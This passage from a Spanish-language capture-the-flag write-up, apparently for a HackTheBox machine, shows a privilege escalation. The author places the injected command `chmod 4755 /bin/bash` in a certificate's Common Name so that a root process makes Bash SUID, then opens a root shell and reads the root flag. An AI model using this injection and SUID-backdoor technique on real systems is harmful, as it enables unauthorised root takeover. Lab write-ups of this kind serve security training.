bill@broscience:~$ ls -l Certs/
total 8
-rw-r--r-- 1 bill bill 2163 Jan 22 13:28 bill.crt
-rw-r--r-- 1 bill bill 1992 Jan 22 13:28 broscience.crt
Nótese que bill
es la salida del comando whoami
.
En este punto, podemos crear un certificado en /home/bill/Certs/broscience.crt
con `chmod 4755 /bin/bash`
como Common Name, de modo que root
transforma Bash en un binario SUID:
bill@broscience:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
bill@broscience:~$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out Certs/broscience.crt -days 1
Generating a RSA private key
.......................................................................................................................++++
..................................++++
writing new private key to '/tmp/temp.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:`chmod 4755 /bin/bash`
Email Address []:
bill@broscience:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
Ahí está, ahora tenemos una shell como root
:
bill@broscience:~$ bash -p
bash-5.1# cat /root/root.txt
cdd87f274a69fb807e325e072dd99ffd